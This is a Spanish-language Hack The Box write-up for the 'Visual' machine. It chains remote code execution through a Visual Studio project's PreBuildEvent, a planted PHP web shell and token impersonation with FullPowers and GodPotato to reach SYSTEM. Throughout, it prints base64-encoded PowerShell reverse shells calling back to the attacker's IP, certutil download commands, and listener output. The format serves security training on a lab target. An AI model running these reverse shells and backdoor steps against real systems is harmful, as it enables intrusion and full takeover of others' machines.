Descripción
Visual es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución remota de comandos mediante un proyecto de Visual Studio
- Pivote a la cuenta de servicios locales desde un servicio web
- Escalada de privilegios mediante una suplantación de un token utilizando las herramientas FullPowers y GodPotato
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.10.11.234.
$ ping -c 3 10.10.11.234
PING 10.10.11.234 (10.10.11.234) 56(84) bytes of data.
64 bytes from 10.10.11.234: icmp_seq=1 ttl=127 time=40.9 ms
64 bytes from 10.10.11.234: icmp_seq=2 ttl=127 time=40.7 ms
64 bytes from 10.10.11.234: icmp_seq=3 ttl=127 time=40.8 ms
--- 10.10.11.234 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 40.695/40.781/40.881/0.076 ms
La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.234 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.234
Host is up (0.041s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Tenemos un puerto abierto, el 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.234 -sV -sC -p80 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.234
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds
Obtenemos un servicio: un Hypertext Transfer Protocol (HTTP) que funciona en un servidor Apache httpd 2.4.56. Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.
$ whatweb --log-brief web_techs 10.10.11.234
http://10.10.11.234 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.11.234], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[Visual - Revolutionizing Visual Studio Builds], X-Powered-By[PHP/8.1.17]
Observamos que se utiliza la versión 1.1.1t de OpenSSL y PHP 8.1.17. Al visitar el sitio web podemos ver que ofrece un servicio para compilar un proyecto de Visual Studio .NET 6.0 C#.
El enlace al repositorio de Git se puede introducir en un formulario para iniciar la compilación.
Si creamos un servidor HTTP podemos ver el cliente utilizado para descargar el repositorio Git, git 2.41.0.
Petición HTTP del servidor Git:
GET /repository.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.14.5
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2
Podemos ejecutar comandos en el sistema remoto creando un proyecto C# y especificando un comando que se ejecute antes de la compilación. En primer lugar, para crear un proyecto C#, podemos utilizar una plantilla de Microsoft. Después tendremos un proyecto llamado ConsoleApp1 y un archivo de solución ConsoleApp1.sln. Dentro de la carpeta ConsoleApp1 encontramos el archivo de configuración, ConsoleApp1.csproj, que es el archivo que necesitamos modificar. Necesitamos dentro del PropertyGroup, la propiedad PreBuildEvent con el comando a ejecutar.
Propiedad a añadir:
<PreBuildEvent>cmd.exe</PreBuildEvent>
Explotación
En este obtendremos una terminal inversa utilizando PowerShell (generada con Reverse Shell Generator). Así que generamos el comando (codificado en Base64).
Comando de PowerShell para crear una terminal inversa:
powershell.exe -NoProfile -ExecutionPolicy UnRestricted -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
Ahora tenemos el proyecto listo. El siguiente paso es crear un servidor Git (en este caso usando las imágenes de Docker de Gitea) para albergar el repositorio Git. Después de desplegar un servidor de Gitea creamos el repositorio (en la carpeta del proyecto) y luego lo enviamos.
$ git init
$ git add .
$ git commit -m "first commit"
$ git remote add origin http://10.10.14.5:3000/giteadm/repository.git
$ git push -u origin master
Finalmente podemos volver al sitio web para introducir la URL del repositorio en el formulario. Recibiremos un mensaje sobre la compilación en ejecución.
Después de unos segundos, y después abrir el puerto de escucha, tenemos una terminal inversa. Estamos conectados como el usuario enox.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 55189
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
visual\enox
Post-Explotación
Además del usuario enox, el usuario Administrator existe.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 55189
PS ... > net users
User accounts for \\VISUAL
-------------------------------------------------------------------------------
Administrator DefaultAccount enox
Guest WDAGUtilityAccount
The command completed successfully.
El sistema está ejecutando el sistema operativo Microsoft Windows Server 2019 Standard.
PS ... > systeminfo
Host Name: VISUAL
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
Después de hacer la enumeración de los servicios, encontramos que el programa NSSM ha creado el servicio CompileService, que ejecuta un archivo PowerShell.
PS ... > dir "C:\Program Files"
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
...
d----- 6/10/2023 11:00 AM nssm-2.24
...
PS ...> Get-WmiObject win32_service | ?{$_.PathName -like '*nssm*'} | select Name, DisplayName, State, PathName
Name DisplayName State PathName
---- ----------- ----- --------
CompileService CompileService Running C:\Program Files\nssm-2.24\win64\nssm.exe
PS ...> "C:\Program Files\nssm-2.24\win64\nssm.exe" get CompileService Application
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PS ...> C:\Program Files\nssm-2.24\win64\nssm.exe" get CompileService AppParameters
-ExecutionPolicy Bypass -NoProfile -File C:\Users\enox\Documents\compile.ps1
Como la aplicación web se almacena en el directorio C:\xampp\htdocs\ utilizando la aplicación XAMPP podemos almacenar una terminal inversa de PHP para pivotar al usuario del Servicio Local, que tiene más privilegios, ya que la aplicación está funcionando como un servicio.
$ cp /usr/share/webshells/php/simple-backdoor.php .
$ python -m http.server 80
$ nc -nvlp 1235
Y luego descargamos el archivo en el directorio de trabajo de la máquina remota.
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> certutil -urlcache -f http://10.10.14.5/simple-backdoor.php simple-backdoor.php
Después de eso, hacemos la solicitud GET con la el comando de la terminal inversa de PowerShell (con el parámetro cmd).
http://10.10.11.234/uploads/f99927209ae5b18b904e1643800839/simple-backdoor.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
Obtenemos una terminal como el usuario nt authority\local service al abrir el nuevo puerto de escucha.
$ nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49830
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
nt authority\local service
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Vemos que el usuario está conectado con un conjunto limitado de privilegios. Para suplantar un token para elevar nuestros privilegios necesitamos recuperarlos. Así que utilizaremos el script FullPowers para crear otra terminal inversa con el privilegio SeImpersonatePrivilege. En nuestro sistema descargamos el archivo, lo almacenamos y abrimos el nuevo puerto de escucha.
$ wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe
$ python -m http.server 80
$ nc -nvlp 1236
Y en el sistema remoto obtenemos el binario de nuestro sistema y lo ejecutamos con el comando de PowerShell.
PS ... > certutil -urlcache -f http://10.10.14.98/FullPowers.exe FullPowers.exe
PS ... > .\FullPowers.exe -z -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMQAyADMANgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
Recibimos la terminal inversa y comprobamos que tenemos los privilegios.
$ nc -nvlp 1236
listening on [any] 1236 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 50424
PS C:\Windows\system32> whoami
nt authority\local service
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Después de eso, para suplantar la sesión del usuario nt authority\system podemos utilizar la herramienta GodPotato que desplegará otra terminal inversa. En nuestro sistema descargamos la herramienta, la almacenamos y abrimos el puerto de escucha.
$ wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
$ python -m http.server 80
$ nc -nvlp 1237
Y en el sistema remoto obtenemos la herramienta y la ejecutamos con el comando de PowerShell.
PS ... > certutil -urlcache -f http://10.10.14.5/GodPotato-NET4.exe GodPotato-NET4.exe
PS ... > .\GodPotato-NET4.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQA4ACIALAAxADIAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
Finalmente obtenemos una sesión como el usuario nt authority\system.
$ nc -nvlp 1237
listening on [any] 1237 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 51527
PS C:\xampp\htdocs\uploads\f99927209ae5b18b904e1643800839> whoami
nt authority\system
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
PS ... > type "C:\Users\enox\Desktop\user.txt"
<REDACTED>
PS ... > type "C:\Users\Administrator\Desktop\root.txt"
<REDACTED>